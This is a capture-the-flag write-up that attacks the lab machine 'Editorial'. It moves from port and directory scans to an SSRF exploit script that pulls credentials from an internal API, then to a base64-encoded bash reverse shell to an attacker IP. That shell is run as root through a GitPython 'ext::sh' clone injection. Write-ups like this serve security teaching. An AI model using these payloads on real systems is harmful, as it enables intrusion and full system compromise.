Reconnaissance
First, I added the new host to my known ones:
sudo echo "10.10.11.20 editorial.htb" | sudo tee -a /etc/hosts
After that, I performed an Nmap scan:
nmap -sC -T4 -p- editorial.htb > sC.txt
[redacted]
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
| _ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http
| _http-title: Editorial Tiempo Arriba
So I took a look at the webpage:
After some inspection, I decided to perform a subdomain scan with Ffuf ๐ณ , but I didnโt find anything, so I performed a dirsearch ๐ scan:
dirsearch -u http://editorial.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[redacted]
[15:11:18] 200 - 3KB - /about
[15:11:19] 200 - 7KB - /upload
The /upload
sounds interesting :3. Letโs inspect it:
Exploitation
It seems kinda form submission. Letโs try to upload a picture and capture the request with BurpSuite ๐ :
If you try to preview the image with the URL related to the book set as 127.0.0.1
, the image shown is the default image:
We can try to check for SSRF capturing the POST request and then fuzzing it with Ffuf ๐ณ :
ffuf -w /usr/share/wordlists/SecLists/Discovery/Infrastructure/common-http-ports.txt:FUZZ -u http://editorial.htb/upload-cover -request post.req -fs 61
[redacted]
5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 93ms]
Now we can check what does this target:
Weโve just obtained info related to some service in 127.0.0.1:5000
. I crafted a small script to make easier the ssrf:
import requests
import sys
import json
POST_TARGET = "http://editorial.htb/upload-cover"
GET_TARGET = "http://editorial.htb/"
HEADERS = { "Host" : "editorial.htb" ,
"Content-Length" : "307" ,
"User-Agent" : "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" ,
"Content-Type" : "multipart/form-data; boundary=----WebKitFormBoundarypAISdQrbltAeHDXW" ,
"Accept" : "*/*" ,
"Sec-GPC" : "1" ,
"Accept-Language" : "en-US,en;q=0.6" ,
"Origin" : "http://editorial.htb" ,
"Referer" : "http://editorial.htb/upload" ,
"Accept-Encoding" : "gzip, deflate, br" ,
"Connection" : "close" }
POST_DATA = f """------WebKitFormBoundarypAISdQrbltAeHDXW
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:5000 { sys.argv[ 1 ] }
------WebKitFormBoundarypAISdQrbltAeHDXW
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarypAISdQrbltAeHDXW--"""
post_result = requests.post( POST_TARGET , headers = HEADERS , data = POST_DATA )
get_result = requests.get( GET_TARGET + post_result.text)
print (json.loads(get_result.text))
If we run it like:
python3 expoloit.py /
{ 'messages' : [{ 'promotions' : {'description': 'Retrieve a list of all the promotions in our library.', 'endpoint': '/api/latest/metadata/messages/promos', 'methods': 'GET'}}, {'coupons': {'description': 'Retrieve the list of coupons to use in our library.', 'endpoint': '/api/latest/metadata/messages/coupons', 'methods': 'GET'}}, {'new_authors': {'description': 'Retrieve the welcome message sended to our new authors.', 'endpoint': '/api/latest/metadata/messages/authors', 'methods': 'GET'}}, {'platform_use': {'description': 'Retrieve examples of how to use the platform.', 'endpoint': '/api/latest/metadata/messages/how_to_use_platform', 'methods': 'GET'}}], 'version': [{ 'changelog' : {'description': 'Retrieve a list of all the versions and updates of the api.', 'endpoint': '/api/latest/metadata/changelog', 'methods': 'GET'}}, {'latest': {'description': 'Retrieve the last version of api.', 'endpoint': '/api/latest/metadata', 'methods': 'GET'}}]}
We can see that there are some endpoints. If we inspect the api/latest/metadata/messages/authors
endpoint, we obtain this:
python3 exploit.py /api/latest/metadata/messages/authors
{ 'template_mail_message' : "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
Weโve got credentials!: dev:dev080217_devAPI!@
. We obtained user flag also :D
Privilege Escalation
We first upload linpeas to the machine, and run it. Nothing is clearly a PE, so I decided to take a look at the apss
directory. Inside of it there is a git configuration. So we can do the following:
git log #to see the previous commits done
There is one of them quite interesting which is downgrading prod to dev
, so we can show more specific data of that commit using:
git show [commit_hash]
git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
[redacted]
@app.route(api_route + '/authors/message', methods=['GET'] )
def api_mail_new_authors () :
return jsonify ({
- 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
}) # TODO: replace dev credentials when checks pass
And there it is, weโve got prodโs creds: prod:080217_Producti0n_2023!@
.
Once changed the user:
sudo -l
[redacted]
User prod may run the following commands on editorial:
( root ) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
If we analyze the file:
I searched the internet for CVE related to git library and found https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858
As it affects versions [0, 3.1.30]
, I checked the current version in use:
pip3 list | grep -i git
gitdb 4.0.10
GitPython 3.1.29
So we can exploit this vulnerability :D
I created a exploit.sh
with the following content:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42MC82NjYgMD4mMQ== | base64 -d | bash
# YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42MC82NjYgMD4mMQ== is a simple reverse shell
I set up a nc listener, an then I executed the following:
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh /tmp/exploit.sh'
We are root now, and weโve got the root flag :D